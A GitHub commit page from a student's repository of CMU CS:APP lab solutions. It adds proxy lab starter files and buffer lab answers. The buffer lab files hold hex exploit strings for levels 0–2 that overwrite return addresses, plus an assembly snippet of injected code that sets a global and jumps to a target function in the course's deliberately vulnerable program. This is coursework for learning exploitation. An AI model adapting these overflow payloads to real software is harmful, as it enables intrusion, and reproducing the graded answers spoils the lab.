Skip to content

Commit a9d8b97

Browse files
committed
update proxylab
1 parent ac61e29 commit a9d8b97

39 files changed

+5676
-3
lines changed

.DS_Store

0 Bytes
Binary file not shown.

README.md

+3-3
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,6 @@ my solutions for **CMU 15-213 cs:app** labs
88
- [x] bomb lab
99
- [x] attack lab
1010
- [x] cache lab
11-
- [ ] shell lab
12-
- [ ] malloc lab
13-
- [ ] proxy lab
11+
- [x] shell lab
12+
- [x] malloc lab
13+
- [x] proxy lab

buflab/bufbomb

1.03 MB
Binary file not shown.

buflab/disass.asm

+1,900
Large diffs are not rendered by default.

buflab/ghy-level0

50 Bytes
Binary file not shown.

buflab/ghy-level0.txt

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
00 00 00 00 00 00 00 00
2+
00 00 00 00 00 00 00 00
3+
00 00 00 00 00 00 00 00
4+
00 00 00 00 00 00 00 00
5+
00 00 00 00 00 00 00 00
6+
00 00 00 00 18 8c 04 08 0a

buflab/ghy-level1

58 Bytes
Binary file not shown.

buflab/ghy-level1.txt

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
00 00 00 00 00 00 00 00
2+
00 00 00 00 00 00 00 00
3+
00 00 00 00 00 00 00 00
4+
00 00 00 00 00 00 00 00
5+
00 00 00 00 00 00 00 00
6+
00 00 00 00 42 8c 04 08
7+
00 00 00 00 d4 71 ca 20 0a

buflab/ghy-level2

50 Bytes
Binary file not shown.

buflab/ghy-level2.txt

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
c7 05 00 d1 04 08 d4 71
2+
ca 20 68 9d 8c 04 08 c3
3+
00 00 00 00 00 00 00 00
4+
00 00 00 00 00 00 00 00
5+
00 00 00 00 00 00 00 00
6+
00 00 00 00 98 32 68 55 0a

buflab/hex2raw

13.1 KB
Binary file not shown.

buflab/makecookie

7.32 KB
Binary file not shown.

buflab/test.o

296 Bytes
Binary file not shown.

buflab/test.s

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
# 改变 global_value
2+
movl $0x20ca71d4, 0x804d100
3+
# 将 bang 函数的首地址压入栈
4+
pushl $0x8048bc5
5+
ret

proxylab/.idea/.gitignore

+8
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

proxylab/.idea/deployment.xml

+15
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

proxylab/.idea/misc.xml

+18
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

proxylab/.idea/sshConfigs.xml

+8
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

proxylab/.idea/vcs.xml

+6
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

proxylab/.idea/webServers.xml

+14
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

proxylab/Makefile

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# Makefile for Proxy Lab
2+
#
3+
# You may modify this file any way you like (except for the handin
4+
# rule). You instructor will type "make" on your specific Makefile to
5+
# build your proxy from sources.
6+
7+
CC = gcc
8+
CFLAGS = -g -Wall
9+
LDFLAGS = -lpthread
10+
11+
all: proxy
12+
13+
csapp.o: csapp.c csapp.h
14+
$(CC) $(CFLAGS) -c csapp.c
15+
16+
proxy.o: proxy.c csapp.h
17+
$(CC) $(CFLAGS) -c proxy.c
18+
19+
proxy: proxy.o csapp.o
20+
$(CC) $(CFLAGS) proxy.o csapp.o -o proxy $(LDFLAGS)
21+
22+
# Creates a tarball in ../proxylab-handin.tar that you can then
23+
# hand in. DO NOT MODIFY THIS!
24+
handin:
25+
(make clean; cd ..; tar cvf $(USER)-proxylab-handin.tar proxylab-handout --exclude tiny --exclude nop-server.py --exclude proxy --exclude driver.sh --exclude port-for-user.pl --exclude free-port.sh --exclude ".*")
26+
27+
clean:
28+
rm -f *~ *.o proxy core *.tar *.zip *.gzip *.bzip *.gz
29+

proxylab/README

+49
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
####################################################################
2+
# CS:APP Proxy Lab
3+
#
4+
# Student Source Files
5+
####################################################################
6+
7+
This directory contains the files you will need for the CS:APP Proxy
8+
Lab.
9+
10+
proxy.c
11+
csapp.h
12+
csapp.c
13+
These are starter files. csapp.c and csapp.h are described in
14+
your textbook.
15+
16+
You may make any changes you like to these files. And you may
17+
create and handin any additional files you like.
18+
19+
Please use `port-for-user.pl' or 'free-port.sh' to generate
20+
unique ports for your proxy or tiny server.
21+
22+
Makefile
23+
This is the makefile that builds the proxy program. Type "make"
24+
to build your solution, or "make clean" followed by "make" for a
25+
fresh build.
26+
27+
Type "make handin" to create the tarfile that you will be handing
28+
in. You can modify it any way you like. Your instructor will use your
29+
Makefile to build your proxy from source.
30+
31+
port-for-user.pl
32+
Generates a random port for a particular user
33+
usage: ./port-for-user.pl <userID>
34+
35+
free-port.sh
36+
Handy script that identifies an unused TCP port that you can use
37+
for your proxy or tiny.
38+
usage: ./free-port.sh
39+
40+
driver.sh
41+
The autograder for Basic, Concurrency, and Cache.
42+
usage: ./driver.sh
43+
44+
nop-server.py
45+
helper for the autograder.
46+
47+
tiny
48+
Tiny Web server from the CS:APP text
49+

0 commit comments

Comments
 (0)